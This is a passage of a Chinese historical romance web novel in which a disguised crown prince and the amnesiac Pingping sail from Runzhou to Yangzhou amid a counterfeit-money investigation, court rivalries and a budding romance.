蒋望回默默听她说，走到张记正门，萍萍突然问他：“这里被查封，和你们案子有关吗？” 蒋望回反背两手，望着封条告诉她：“这家店主人印私钱。” 萍萍眨了两下眼，既在意料之中，又意料之外，意外的是想不通张丈本分经营猪肉生意，挣的钱就够花一辈子了，为何还要铤而走险？ 她陷入沉默。 蒋望回本来就容易成为闷葫芦，她不说话，他便也不再开口，两人直走到距离萍萍家五、六步时，蒋望回止步，主动打破宁静：“就送到这里吧。” “今晚多谢你了。” 蒋望回摆手：“举手之劳。” 萍萍也就着这摆手与他告别，自归家中，关紧家门。 蒋望回看见屋内倏然亮起，黑色人影时不时出现窗中。他伫了一会，纵身跃上房顶。 柳湛子夜方归，身尚立在墙外，就抬眼朝房顶眺去。 蒋望回明白这是有事要吩咐，便准备落下，萍萍却执灯推门：“官人你回来了。” 柳湛旋即含笑看向萍萍，蒋望回也重伏顶上。 “还没睡呢？”柳湛轻轻地问。 “等你回来再睡。”萍萍说着锁门，在前为柳湛照路，执灯进门，屋子瞬间亮 堂。柳湛一路注视她的背影，而后立定门口，默默看她将油灯放到桌上。 他悠悠地想，这夜晚竟也有一盏灯是为自己而留。 涓涓暖流淌过心田。 柳湛走到萍萍身边，伸臂揽住她的腰。萍萍放完油灯又随手摆板凳，他往她耳朵上一摸：“坠子和钗呢？” “要睡觉了怕弄坏，收起来了。”萍萍稍稍后仰，贴上他胸膛，“我们什么时候去扬州？” “后日。”柳湛语气坚定，少倾，又柔声建议，“明日你可以收拾下行李。” 萍萍转身回看他：“我已经收拾好了！” 柳湛莞尔：“原来你一晚上忙这个。” “但家里还有些物件要变卖换钱，往后我们到了扬州也能多些用度。”萍萍翻出列好的清单给柳湛过目，宅院是租的，退租即可，关键是铺子得脱手卖掉。 柳湛收下清单：“这不要紧，你把铺面钥匙给我，我差人留下来料理。” 萍萍放心，又问他饿不饿，可要宵夜。柳湛笑道：“这个点还吃什么，睡吧。” 二人已十分熟稔，先后褪去外衣上。床。柳湛刚躺下不久，萍萍就转过来，从背后抱住他。柳湛笑，是不是下一步就是腿搭上来了？ 别说，没她搭腿已经睡不习惯，只要不是再进一步亲密就都好，不然他又得大半夜凉水浇身。 萍萍却没有搭腿，只将柳湛箍得更紧，面颊也完全贴上他的后背：“阿湛，我好想你。” 柳湛失笑：“就离开一会。” 说完他笑容一敛，觉出萍萍言行的不对劲。萍萍的绕过柳湛身。体的那只胳膊，如蛇般弯弯绕绕，终摸到他的手，覆上手背，柳湛立马把她的手反捉进掌心，牢牢裹着。 萍萍一下子就想哭，所有的愤慨、后怕和委屈，在这一霎全化作依恋。 她不能哭，哭了官人就发现了，于是只能不断用脸颊摩挲柳湛后背，再往高睡一点点，摩挲肩头，克制眼泪。 柳湛转过身来，捧着她的脸道：“其实今天分开了以后，我也挺想你的。”他假装没看见她眼睛将溢未溢的那滴清泪，抱着她，拍后背，哄道：“快睡吧。” 又主动捉住她的腿，放到自己身上。 此刻如此亲密交缠，却无丝毫欲念。 萍萍闭眼安静了会，渐渐入睡。 等她睡熟了，柳湛才起床披衣，出到门外，蒋望回还在等着议伪钱案，近前拱手：“郎君有何吩咐？” “其它的事情先放一放。”柳湛面沉如水，“今晚她发生了什么事？可有见过什么人？” 还是知道了么？ 蒋望回心底叹气：“有男子滋扰萍娘子，娘子断然回绝。” 虽然只打过一回照面，柳湛脑海里却即刻冒出一个身影：“是不是一个穿鹤氅戴白玉冠的？” 蒋望回面上惊讶一闪而过，颔首：“是。” 他之前为了查案，收集过朱方巷所有居民户籍：“如果没猜错……他应该是住在朱方巷口的裴改之。” 蒋望回的汇报一贯完备，不是那种问一句答一句拧水似的，无需柳湛追问，他就道尽来历：“他是年前搬来的，之前住别处。”具体旧住址蒋望回没记住，但裴改之的家世很特别，颇有印象，“他娘是一富商独女，父亲赘婿，后来父母亡故，变卖家产，一心读书博取功名。” 一心读书？ 柳湛嗤笑。 天气热了，这会已经开始有蚊子，在柳湛身边绕飞，耳畔时不时嗡嗡。 “他怎么见到萍萍的？”柳湛沉眸冷声，目不转睛盯着蒋望回，“可有碰她？” 蒋望回摇首，语气尽量放轻：“卖二陈汤的杨婆将萍娘子哄离家中，见到裴改之，离得很远说了些轻薄话，萍娘子调头就走了。” 蚊子复绕到柳湛面前，他眺了一眼，蒋望回旋即会意，指尖稍动，还来不及看清就已将蚊子打死。 柳湛一边转身回去睡觉，一边冷漠道：“知道怎么做吧？” “属下明白。” 十五日后，杨婆被人发现死在家中。尸体都臭了，爬满老鼠，眼珠鼻子已俱被吃掉。 仵作验过，死因胸痹，死前曾竭力呼喊过。 杨婆还有个弟弟住城里，来都没来，只妯娌孤身吊丧，因为忌惮鼠疫，没有下葬，直接一卷席子裹着烧了，而后将杨婆的银两首饰尽皆捡走。 众人摇头唏嘘，那条街除了杨婆家，全是张屠产业，赶上查封无人，她又独居，唉，运气不好，但凡有个人经过，及时听见求救，结局兴许就不一样了。 柳湛下令的翌日，也就是他们离开润州的前一日，蒋望回潜入裴府。 厨房里储放着未烧的干柴、未煮的大米，正堂桌上的长颈瓶中犹插新鲜杏花，甚至连拉车的马都还在厩中吃草，裴改之和他的长随们却不见踪迹。 人去楼空，不知去向。 蒋望回侧着身子走近裴改之的卧房，手持宝剑，四面环顾，小心戒备。床。上无人，帐子束着，反倒是旁边墙上吊下来的秘色纱帘随风乱舞，蒋望回用剑挑起一片纱帘，见帘后挂着一幅仕女画，淡彩佳人笑睇每一位来人，眸子灼灼，酒窝深陷。 蒋望回神情凝重，一旦认出画的是萍萍，画中女子笑就不再笑，而是裴某对他和殿下的公然挑衅。 第37章 第三十七章 烟花三月下扬州 * 翌日， 三月十八。 萍萍柳湛鸡鸣就出发。柳湛今日没穿白，着一身黛青色圆领袍，头插了支青玉卯酉簪。萍萍眺了又眺， 连看两眼， 柳湛不由生起一分自得， 抿唇笑道：“怎么了？” 萍萍实话实说：“这身像蒋小官人的衣裳。” 柳湛就是在模仿蒋望回打扮，扬州官场盘根错节，远比润州复杂， 他需要更低调， 更泯然众人，更像林元舆的长随。 萍萍说他像， 他按理应该高兴，可却不知怎地，心里反而极不舒服，如鲠在喉。 柳湛似笑非笑：“那你可别认错了。” “怎么可能认错？”萍萍旋即回，只是穿衣风格相仿，“你俩长得又不一样。” 柳湛双唇粘着，但动了动， 突然想问她那是自己好看， 还是蒋望回好看？下一刹又觉好可笑， 怎么会想到这么自降身份的问题。 他以舌抵齿， 没再言语。 因再不回来的缘故，萍萍行李较多，索性和柳湛的行李一起装做一箱， 柳湛雇的马车到门口，车夫一见箱子，就犯难道：“这车厢里放不下呀， 给你们绑起来，行吗？” “绑哪里？”柳湛问。 “绑后头，后头这里。” 柳湛与车夫交涉，萍萍在他身后，原本是扫视，看见头上青簪，目光定住。 她在重逢之前就备好了不少官人的衣裳佩饰，其中有三根发簪，这回柳湛均未带走，说会帮忙变卖。 她今天看见这根青玉簪，又想起他前些日子还带过白玉的、金镶玉的、嵌宝的，而她那三根只是银的竹的，难怪他不愿意带走。 萍萍默默记在心里。 她见车夫已经开始绑箱子，便去搭把手扶住，柳湛见状，这才也扶在箱侧，道：“你先进去吧，我来。” 萍萍钻进车厢，柳湛过一会上来，盘膝坐定。马车开动，晃晃悠悠，窗帘因颠簸扬起一角，窗外景致萍萍熟悉——他们今天还从上次去焦山那个码头登船。 窗外看了一阵她就不想看了，问柳湛：“我们要在扬州待多久？” “去了才知道。”柳湛淡淡回答，他当然希望越短越好，想着便去捉萍萍的手，抓了放到自己膝上，垂眸轻抚。 萍萍不知官人何时养成喜欢捉人手腕的习惯，记忆里没有的，她又问：“扬州之后呢，你们还要去哪些地方办案？” “案子在扬州就能结，而后还京。” “你也要回东京吧？”萍萍平静地问，他讲一口官话，回京并不稀奇。 柳湛抬眸：“那你还愿意跟我走吗？” 肯定要一起走啊！萍萍惊讶对视，她连最留恋的润州都舍了，扬州不曾去过，更没有认识的朋友和产业，那还不是说走就走：“当然，天涯海角，我们都不离不弃。” 柳湛想她之前也是这么说的，不由微笑：“好，带你回家。” “那我是不是要见到婆母和大姑了？”萍萍一想还有点紧张。 柳湛眉尾几不可察地动了下，东宫御侍是没有资格面圣的，至于他的母亲…… 柳湛不答，反问萍萍：“你记忆里见过他俩吗？” “没有，”萍萍摇首，“我想不起来了。” 车抵码头，话到这里自然终结。 柳湛已事先考虑好，先自己翻下，而后抬手，搀扶萍萍下车，在她迈出第一步，即将踩到脚凳时道：“虽说携带亲眷不算违规逾矩，但林公心性古板，不爱见我们和亲眷厮混，上船后还是能避嫌尽量避险。” 萍萍忙不住点头：“明白，明白，官人你放心吧，我不会拖累你的。” 她双脚都已踩上脚凳，凳子离地不远，索性直接跳下来。 柳湛瞥见，表情微动。和上回不一样，他们的车直接停在码头边，蒋望回等人乃至林元舆，皆已候在码头，车夫尚在解绑，蒋望回就快步走过来准备接箱子，萍萍瞧见他，笑着打招呼：“小官人早。” 蒋望回隔着两步距离点头，语气一板一眼：“萍娘子早。” 柳湛面上挂着淡笑，却忍不住视线在蒋望回身上停驻，他今天遵从命令，也穿的鸦青圆领袍，戴一漆簪，柳湛和蒋望回个头相差无几，但身形要比蒋瘦些，腰也较细。 蒋望回察觉柳湛凝视，回眺殿下，又上下打量自己，一脸莫名和不解，他再看向柳湛寻求答案时，柳湛别首，避开对视。 其余人等此时也近前要打招呼，柳湛旋即吩咐萍萍：“快来见过林公。” 萍萍连忙朝白头发白胡子的老人下拜：“草民萍萍见过林中丞。” 林元舆笑道：“萍娘子，老夫还记得你。” 萍萍不好意思笑笑，又疑惑，这林公真的很古板吗？ 虽然大家都曾经同路过，彼此知晓，柳湛还是逐一向萍萍引荐，又正式介绍萍萍给其余四人。 四人便明白了柳湛的用心，蒋音和脸上就有些挂不住，她哥拐了她一下，才恢复如常。 这时车夫完全卸下箱子，蒋望回接过抱好，准备一路搬上床。车夫堆笑问柳湛：“小官人，那小的告辞啦？” 柳湛阖唇颔首，萍萍在旁笑向车夫福身：“谢谢老丈，一路辛苦。” “唉应该的应该，祝娘子和大官人一路顺风，有缘再见！” “你也一样，一路顺风。”萍萍挥手，往常她要多目送会的，但现在怕耽误他们公干，所以等那马车一掉头走出去就转了身，笑问：“哪艘是我们的船？” 柳湛指向江中。 萍萍随之望去，天未全亮，但还是能一眼瞧见是艘双层大船。 萍萍没坐过这么大的，但见过，以前江上望见都当作皇帝老儿的龙舟，她禁不住结巴：“双、双层那艘？” 林元舆听见萍萍这没见过世面的语气，心底不由发笑，还有数分得意。 今日看见这艘船的第一眼，他就十分满意。 他一直是想乘大船的，历来也只乘大船，宽敞舒适，关键是符合品阶。这趟下江南，太子再三叮嘱要低调，林元舆敢怨不敢言，坐了一路小扁舟。 润州挖出银两，上报官家那天，他就在想：闹出这么大动静，还报了官家，去扬州肯定有同僚码头迎接，到时候还乘江宁雇的那种掉价的，是不是太丢面子啦？ 但林元舆依旧不敢在柳湛面前提一个字。 许是自己心里的祷告有用，负责雇船的蒋望回竟主动雇了双层游船。 但此刻林元舆面上却故作犯难，轻声问蒋望回：“这是不是有点太张扬了？” 蒋音和亦问：“之前那样的船不好吗？雇不到了吗？” 说时一艘跟雇的船差不多大小的客舟泛过江面。 蒋望回唇粘着。 其实改雇大船，是柳湛的意思。殿下说，以林元舆的做派，去扬州势必要改大船，如还乘扁舟，那说明有人压着林元舆，他就不是做主的那个，扬州那班个个人精，就露馅了。 真正的原因不可说，蒋望回正琢磨如何扯谎，柳湛淡淡开口：“萍萍要和我分开睡，以前那种船客房不够，所以我央蒋兄雇了艘更大的。” 话音将落，蒋音和就越发恨了。林袁二人也拿眼打量新同伴。 萍萍自己也是一怔，官人之前没提过分房睡啊？ 哦，他讲过亲眷不能厮混，上船后要避嫌。 萍萍顿时内疚：“对不起都是我的错，让大家破费了。” 蒋音和狠狠瞪了萍萍一眼，调头往船上走。少倾，袁未罗跟上，口中道：“上船了，上船了。” 众人纷纷往登船的甲板上走，萍萍特意等到和柳湛同步，挨着他小声问：“船是哪位雇的？” 蒋望回在后面听见，接道：“我。” 萍萍扭头冲蒋望回一笑，继而垂首：“雇船的花费要不我来出吧？”须臾，她又补充：“要是太贵，能不能先赊着？等我卖铺子的钱到手再还上！” 蒋望回忍不住朝柳湛方向眺了一眼，哪怕只见个后脑勺。 柳湛不曾回首，仍注视前方，同身旁萍萍轻言细：“有我在，你就不要再在意钱的事了。” 萍萍便以为柳湛垫付了船费，既内疚又感动，心想官人待她可真好。 她情不自禁想去牵柳湛的手，却旋即记起林公不待见，改为五指攥拳，忍住。 天空放白，一霎看清江上萦绕烟波。 蒋望回雇船时就已走过一遍，今日他来码头最早，又提前搜了一遍船，确保安全，所以这会一上船，他就放下藤箱，轻车熟路为众人引路，轮到萍萍，让她先等一等，而后便去搬了她的箱子，一路领到厢房门口。 蒋望回手尚举着，萍萍谢道：“辛苦您了。” 闻言蒋望回放下藤箱：“萍娘子客气。那在下就送到这里？” “嗯，谢谢您了！”萍萍边说边开门，然后蹲下来搬箱子，因为重，她赶紧一脚跨进房中，柳湛随后跟进，萍萍笑着同门外蒋望回挥了挥手，关闭房门。 蒋望回忽然想起有一天晚上，他在门外听见柳湛说，“外面有人”，然后出来见他时，殿下的袍子特别地皱，有许多折痕。 蒋望回盯了须臾门板，转身缓缓离去。 房中，柳湛嘱咐萍萍：“待会我要去议事，你别乱跑。” 萍萍点头，等待嘛，她很熟的。 柳湛本意侧重“别乱跑”，但他怕萍萍像自己一样多心，补充道：“不然我回来找不见你，会很着急。” 萍萍赶紧表态：“你别急，我就在这里等你。” 一般这类长航线的游船，都会提前为客人准备些解闷的小玩意，柳湛在抽屉里找了找，果然翻出一只银铸的九连环。 他将九连环递给萍萍：“你要是无聊，就试试这个，九连环。” 俗话说解不开的歧中易，摘不下的九连环，她捣鼓到扬州都未必解得开，一想到这，柳湛担心萍萍望难生畏，不禁补充：“解九连环万不可毛躁，需要心静，还需耐心，因为要解很长时间。” “是啊，要二百六十五步才解得开，可不很长时间么。”萍萍旋即接话。 说完柳湛一愣她自个也一愣，少倾，萍萍挠鬓角，自己没解过这个机巧啊，为何胡诌步数？ 柳湛抿唇促眸，最快解开九连环正好需要二百六十五步。 没想到萍萍真会，柳湛不觉驳面，反倒些许开心，禁不住抬手摸了下她的脸，笑道：“那你在 这解，我尽量快去快回。” “嗯，官人你放心去吧。”萍萍目送柳湛离开，然后就开始低头解九连环。 一上手萍萍就觉熟悉，甚至生出一丝害怕，因为脑子没思考，手就开始动解圈。 一帆风顺，不曾有一下卡壳。 自己失忆以前是不是经常解这机关？ 手上解套的环越多，她越熟，虽然一开始没记住，现在也无从数起，她已经可以笃定，那个二百六十五不是胡诌，而是正确的步数。 她以前难不成是什么大家闺秀，天天在绣楼里盘弄这解闷？ 萍萍自顾自摇头，从其余想起的记忆来看，她就是个平头小老百姓。 难道她是个做九连环的匠人？ 啪嗒——萍萍将九连环全部解开。 任是熟稔，连续重复两百余步也有些倦怠，算了，先不想从前了，出去看看到哪了？ 在萍萍看来，客房门口的甲板和客房是一样的，官人回来都能瞧见。她出房门来到甲板上，前方极遥远处，亭台楼阁如海市蜃楼般若隐若现。 那岸上就是扬州吧？仅仅是隔着大半天路程眺望，就觉楼宇密麻，比润州繁华许多。 扬州……她笑着默念，兀然头痛。恰在这时刮起大风，江浪翻滚，大船上下颠簸，而萍萍脑中一闪而过：明月夜，码头边成排的花船，行院们倚窗招手，欢声笑语，接着这画面又骤然消失，快得像没闪现过。 萍萍头痛，连带眼睛牙齿耳朵都疼，还隐隐作呕，她难受地抚上眉骨，自己是不是晕船了？ 但坐去焦山都没晕啊！ 是不是这回路途长，她从未坐过这么长的水路，遇上颠簸，之前消耗精力解九连环，所有加到一起就晕了。 额—— 萍萍猛地咬紧嘴唇，身往前倾，差一点就呕出来。 她不敢再待在甲板上，尽力稳住身子，克服摇晃，一步步挪回房中。躺上床才稍微好点，又怕真吐了给大家添麻烦，想起上回迎亲得的糖，剥开一颗，丢入口中。 犯恶心的感觉稍稍缓解。 糖味道不错，里面应该混了桃汁。 萍萍忍不住尝第二颗，这回是樱桃口味。 再塞一颗，这回像山楂，酸酸甜甜，最舒服。 她连吃三颗感觉好多了。船晃如摇篮，她不知不觉被摇睡着。 第38章 第三十八章 糖 * 凡这类双层大船， 上层都较下层颠簸，贵客一般上层闲赏风景，睡卧还是在下层。 蒋望回给林元舆安排的一楼， 搬完箱子， 他就往林公所居客房踱步。人尚在甲板， 就听房中袁未罗声音：“扬州，东路首府，哎， 但润州以前是淮南东路的吗？” 林元舆哼哼：“都已经走了， 你想起来问了。” “我这不是模模糊糊有印象嘛，林公， 是不是啊？” “润州之前一直隶属两浙西路，江阴军治下，前年才改化润州。”音和的声音，原来妹妹也已聚到房内。 “我说嘛，是记得小时候润州是归临安府管的，”袁未罗事后诸葛，“就说润州那几天， 总觉哪里别扭。” 一路官衙， 通常分帅、漕、宪、仓四监司。帅司安抚， 全权驻防；漕司转运， 主理财政经费；宪司提刑，掌管刑狱，仓司提举常平， 便是大伙常说的茶盐司，负责义仓、茶盐市易等事务。 本朝为防官员一地自专，各路总领并四司长官， 都必须三年一轮换，如今的淮南东路总领兼安抚使凌传道，前年才从荆湖北路换过来。 袁未罗一时话没收住，感慨道：“官家对凌帅还真是偏爱。” “唉，此话莫说！”林元舆旋即呵止。蒋望回闻言亦加快步伐，跨入房中，板着一张脸对袁未罗下令：“多话，掌嘴！” 袁未罗老老实实左手拍，右手打，自扇了两个听得见响的巴掌。 天家这事，追根溯源，还得从几十年前，前几代的英宗、孝宗皇帝那会说起。 当今官家非嫡非长，能被立为太子，据说少不了已故太后，彼时的昭仁皇后扶持。 官家虽非太后亲生，却知慈乌返哺，登基后不仅事事孝顺，以太后为先，甚至还娶了太后同族的侄女，抚州范氏作继后，也就是如今揭露赝币的圣人皇后。 太后又另有一亲侄女，四岁起就被抱养宫中，太后视若己出。后嫁于江陵府凌家，仅育一子，便是这凌传道。 凌家本就是有勋王室，凌传道又算官家的舅表甥男，皇后的堂外甥，贵戚权门。今年才廿五岁，不及而立，就已做过两路安抚使。他自小金鞍骢马，玉楼绣被，并无多少才干，能如此直升，全蒙父荫和官家内宠。 朝堂内外，多少人不平，又有多少人羡慕。 林元舆就是当中既羡慕又不平的一位，这几日他常想，要是自己也像凌传道这般会投胎，还用得着官场苦熬四十年？早封侯拜相了！ 出生不同，蹉跎至此！ 所以在柳湛来议事，尤其着重查看京中有无回报时，林元舆忍不住问：“郎君从前和凌帅臣熟吗？” 柳湛早料到有此一问，眼仍浏览公文，嘴上不紧不慢回应：“只小时候在嬷嬷的慈寿宫打过一回照面。” 太子提及故太后，理应呼作娘娘、亦或太后娘娘。他却遵循她家乡抚州的方言，喊祖母叫“嬷嬷”。 林元舆好歹也混了四十年，天家的逸闻轶事还是隐隐晓得一些的。据说，故太后在世时最为疼爱柳湛这位长孙。柳湛幼年体弱，几番濒死，最严重的一回，太医都说救不活了，是信佛的太后跪在释祖出生入灭的娑罗树下，求了七天七夜，不惜发愿，他身子才奇迹转好，从此改小名为娑罗奴。 林元舆眨眼：最后一句不知真假啊，毕竟这里没有人敢试叫太子小名。 “只一声嬷嬷，便知郎君至孝纯深，慈仁有心，国之幸事。”林元舆补充一句，自以为拍得好马屁。蒋氏兄妹闻言却面无表情对视了一眼，蒋音和忍不住还是挑了下眉。 船就在这时上下颠簸起来，众人已有经验，各自找能抓扶的，袁未罗忍不住道：“怎么没下雨也有大浪，呕——” “你快别说话了吧，”蒋音和嗤笑，“闭上眼，防晕！” 不久，船主人并一名副手梢公一并叩门，请示说这一带恰巧暗礁繁多，遇到风浪后船不受控，怕撞礁，能不能先靠岸停候？ 这情景林元舆总觉得演过一遍。他便擅作主张，回门外道：“那便停吧！‘擅泳者溺，平地覆舟’，还是小心为妙。” 这是柳湛上回说的话。 室内除却袁未罗，个个记得，蒋音和以舌抵腮，才能忍住不多嘴，蒋望回一惯面无表情，而林元舆只关注柳湛，见太子殿下并无责怪之意，反而含笑点了点下巴，算是首肯，林元舆不由捋须笑开去。 柳湛可没有真首肯他。 只不过林元舆以前总喜欢眼神请示，却又遮掩不好，柳湛每次都盯很长时间。 任是个呆子也看出来柳湛是真正上峰。 所以他现在潜移默化地训一训，让林元舆“学会”自己做主，免得扬州露馅。 自船主人和梢公离去后，能明显感觉船头在逐渐调转方向，但颠簸犹存，甚至更甚，好几浪径直翻跃甲板，打上窗楹。柳湛手边桌斜，那支翡翠毛笔连带搁笔架一顺滑落。他抬手扶正案桌，继而执起毛笔和笔架，准备放回原位置，却突地一慌，心生忧虑：这么大风浪，萍萍住二楼愈发明显，会不会不适晕船？ 虽然之前润州那回舟更小，风浪更大，还兼暴雨，柳湛却只这一次有担忧。正好官家也没有什么新鲜动向，他便搁下笔架和笔，干脆道：“先回去了，有急事再向我禀报。” 丢下话后，匆忙离开 。 不多久，余下众人也解散告辞，蒋望回、蒋音和兄妹同行甲板，一道回去，走到船头，远离林元舆厢房，又有风浪声遮掩，蒋音和禁不住直抒那一口憋了许久的胸臆：“有些人活再老也是草包一个！” 蒋望回先静听动向，确定无旁听见妹妹言语，才肯定地点了点头。 朝中像林元舆这样的人不少，但还好也不算多，不然就完了。 “我记得早年进宫面圣时，郎君还是很孝顺娘娘的，大娘娘小娘娘皆是。”蒋音和风下私语，衣带飘飘。她口中的大娘娘是已故昭仁太后，小娘娘是柳湛生母，当今皇后。 她永远记得十三岁那年，随母亲从边关回京，进宫拜见皇后，刚行完跪礼起身，就有一白衣少年风也似跑进殿内，后面跟着一位和颜悦色的中年男子。她母亲急忙再拜下去，她也跟着效仿，听母亲自报了家门，又说“臣妇参见官家，参见太子”。 然后就听见清脆的少年音：“原来你们就是希颜的母亲和妹妹，快起来吧。” 蒋音和在心中默默接话：原来你就是哥哥时常称赞的太子殿下。 她迅速抬头，正好瞧见太子扑进皇后怀中：“孃孃，儿臣总算回来了，在京畿这几日可想您了。” 皇后笑拍太子后背：“娑罗奴，今天留下来一起吃饭吧。”皇后说着含情看向官家，“陛下也来？” 官家走过去，依次抚了抚他的妻儿，笑着应好。 蒋音和之前以为自家是天底下第一友爱，没想到天家竟比她家还温馨。 那日午后，她在御苑再一次邂逅太子，情不自禁夸赞太子与官家皇后的和睦，太子闻言面颊泛红，似有些羞，但目光却是坦荡荡的，声也朗朗：“父爱母敬，子安家和，天下莫如是！” 他背直面俊，笑容率真，和他上方当空的太阳一样热诚，他身后满苑牡丹，闪烁梦幻。 她就是在那一天爱上太子的。自那以后，总缠着当伴读的哥哥带她进宫，后来又做女官， 江风呼啸，吹动蒋音和的一对丫髻，猎猎后扬，眼看泥金的发带要散，蒋望回抬手帮她整理好。 “多谢阿兄。”蒋音和浮起笑意，但很快又没了，“这几年，郎君和官家、小娘娘之间，为什么就渐渐不亲近了呢？” 她侍奉一家三口，瞧在眼里，日常往来冷漠得好像陌生人，不对，是比陌生人还防备，敌对，比方说这回下江南，就明显是皇后在针对殿下。 蒋音和突地蹙眉，面露忧惧，声音压得极低：“该不会……是因为那一件事？” 蒋望回心底即刻有个声音呐喊：不是的，绝对不是！ 郎君不亲近官家皇后，是因为他年纪渐长，有了自己主张。 他双唇却始终合着，未曾否认。 蒋音和追道：“可是殿下明明是官家和娘娘的亲生骨肉呀！” 像她，因为是亲生的，爹娘疼爱还来不及。 蒋望回喉头滑动，天家首先是君臣，而后才是父子：“不知道，我们做臣子的莫要妄议。” * 柳湛抬手是打算叩门的，哪知门没锁，仅虚带着，他手背一敲上去就开了。 然后就一眼瞅见床。上的萍萍，没料到她会白天睡觉，很是愣了一愣。 萍萍睡得浅，这么一出动静，随即醒来，手撑着一顿一顿坐起，柳湛看她慢慢吞的样子，又想自己火急火燎赶过来，觉得有些可笑，但气到是不气：“船都要翻了你还睡得着呢？” “龙舟也会翻吗？”萍萍反问。 “谁告诉你这是龙舟？柳湛说着，在桌边离床最近的那把椅子上坐下。 萍萍笑笑，垂下两只腿穿鞋：“不好意思，一下嘴快，我的意思是这么大的船也会翻么？” “不会。”柳湛决定好好说话了，“但这一带暗礁多，船一旦不受控撞上，就容易沉。” “这么大的船，那暗礁得有多大？” “暗礁不大，但大船沉没，原由小孔，哪怕只一个巴掌大的窟窿，只要不及时修补，就会慢慢沉没。” 同理，堤溃蚁孔，气泄针芒，比方这回的伪。钞案，即使皇后动因不明，可能在算计他，他也必须彻查，及时修补，柳湛可不想过些年接手的是个烂摊子！ 柳湛想事情的时候不自觉扫向萍萍，正好瞅见她往嘴里塞了个东西。 “你吃什么呢？”柳湛质问，怎么什么东西都敢往嘴里送。 “我怕晕船压了颗糖。”毕竟船仍起伏。 “哪来的？”柳湛顿了顿，嗓音放柔和，“刚才睡觉是因为晕船？” 萍萍点头，又告诉柳湛：“就是上回乐伶给的喜糖！” 她讲话太多，嘴里那颗糖一时没含住，滑下喉咙。于是便想再拿一颗，忽然灵光一闪——官人还没尝过吧？ 这糖真的比她以前尝过的都好吃。 萍萍已经有了经验，那糖块稍微偏小些的，是最好吃的山楂味。她手背身后动作，脚前迈一步，弯腰下，与坐着的柳湛平视：“官人。” 柳湛早看到她手背着鬼鬼祟祟，心想这是有东西要送给他？还是要表演戏法？ 他原本是打算板起脸说的，但萍萍那张脸距离太近，看到她杏眼里眼珠转动，他就忍不住破了功，笑出声：“怎么了？” 不好意思还没准备好，萍萍只能继续锁住柳湛双眸，她脸上的汗毛他都能瞧见，四目相对久了，面颊渐渐发烫。 柳湛微微别首，暂时避开对视：“到底怎么了？” 就是现在，好机会！ “我不是还欠你一颗糖么？”萍萍飞快将剥好的山楂糖放到唇间夹住，牙齿不碰。柳湛再转回头时，就见她檀口微张，唇珠衔着一颗红透欲滴的糖，一面贴近，一面含糊道：“还你。” 柳湛定定睁着两眼，浑身上下乃至眼皮睫毛，都一动不动。 他的眸光越来越幽深。 就在四唇即将相触的那一霎，柳湛突然双手搂住萍萍扭转，她一个没站稳坐到柳湛膝上，继而身往后仰，整个上半身倒在他腿上，褙子下坠露出半边白腻肩膀，因为丰腴，鼓囊囊的抹胸勒着一道肉痕。 柳湛眸底微红，此刻心里只有四个大字：媚态横生。 他俯身倾下，喉头滑动，不仅狠狠咽下她那颗来路不明，没有验过的糖，亦想拆她入腹。 第39章 第三十九章 扬州（一） 这糖含进嘴第一口只有酸， 特别的劲，令人发麻，而后就开始回甘， 越往后越甜， 从喉咙弥漫， 一直甜进心里。 就像她。 柳湛禁不住在萍萍唇上又多啄几下。 而后便扶她坐起，顺手拢了拢褙子，帮她遮好肩膀。 柳湛是想现在就要了她， 但是不行， 时间地点都不对。如无意外，她将是他第一个女人， 他不想，也不愿草率。 柳湛推萍萍起身，自己也吸口气站起来，轻笑：“谁教你这么做的。” 这本是句没指望回答的玩笑话，萍萍却旋即笑道：“你教我的呀！” “嘴贫。”柳湛以为她是调。情，稍微挪身，免叫萍萍瞧见身上唐突。 其实， 萍萍并非讨好哄骗， 她讲的是真话。 三十件记忆里， 有三、四件难免是香艳事， 靡靡绯色。 那会陪官人山上治伤，起初住金山寺里，后来就搬到后山， 养身子顺道帮方丈们照看菜地。 三、四亩田，两间草屋，门前还有两棵桑树。 鸡鸣犬吠， 饭灶炊烟，她再一次端药到官人面前。 他抿第一口，就深锁眉头，但还是逐口喝完。 然后端着碗，委屈巴巴瞄着她：“好苦。” 梅子被这个贪嘴的提前吃完了，没有压药的，萍萍劝慰道：“良药苦口。”又许诺，“梅渍我不重新做了么？应该明天能吃了。” “可是今天好苦。”阿湛皱着眉头，眸中波光流动。 “那也没办法呀，我看过了，今天梅子还没好，吃不得。” “那不有糖吗？”阿湛指桌上。 萍萍随之望去，是金山寺里制的糖，和外面的不同，异常寡淡。 “这个不甜。”吃下去他口里还是苦的，无济于事。 阿湛狡黠一笑：“我有个法子能让它变甜，但是要劳烦娘子。” “什么法子？”她旋即反问。 阿湛招手，让她凑近些，附耳悄悄教了几句，听得她面红耳赤，起初不肯，他便央求：“试试嘛，娘子，试试肯定甜的。” 萍萍才红着脸依他所言，叼着那颗糖，送入阿湛嘴中。他立马强硬揽住她的腰，五指摊开贴着她的背，把她往自己怀里推，继续吻下去…… …… 萍萍想到这笑得愈 发开心，这么多年官人依旧吃这一套，只是他为何要背对她？ 萍萍就笑着上手去拉柳湛衣角，示意他转过来。柳湛刚才平复，转过身就见她一对甜醉人的酒窝，血气复涌。 他深吸口气：“我还有事要处理。” 逃也似离开萍萍房间。 恰巧与刚和妹妹聊完，回二楼的蒋望回打上照面。 蒋望回即刻埋首行礼，柳湛微点下巴，算作回应。 蒋望回重抬起头，眼皮却猛地一跳——殿下的嘴角犹有红泥，颇为凌乱。 蒋望回嗫嗫嚅嚅，最终咽下了所有，一声没吭。 …… 俗有“京口瓜州一水间”之说，由润至扬，沿江顺行，照常理用不到半日，但遇险停船，耽搁时间，戌时三刻，他们的船才缓缓靠向扬州码头。 一层蒋音和的厢房里，她哥特意在下船前单独找她，门窗关严，私下叮嘱：“去到扬州，不出意外住的驿馆，倘若驿吏安排你和萍娘子住一间房，她是郎君的人，更兼官馆，”蒋望回顿了顿，“你不要动她。” 蒋音和眙着蒋望回，他亦绷紧面皮，与之对视。 良久，蒋音和嗤笑一声，十分响亮。 与此同时，二楼萍萍所在的厢房窗户大敞，她手搭楹上，俯瞰前方——江面涟漪里尽是灯影，成排成簇的花船，却和她上回突然冒出的画面不一样，她那画里的花船是小筏子，水上人家，眼下真正瞧见的，却是画廊雕栋，轩榭一般，富丽又陌生。 头顶月如刀。 这才是扬州。 她那突如其来闪现的不是扬州，仅仅是她自己的想象。 但萍萍还是手搭窗上，莫名其妙出了会神。 柳湛原本是来嘱咐别的，瞧见，便问：“发什么呆呢？一会要下船了。” 萍萍随即指向窗外：“扬州码头一直这样吗？” 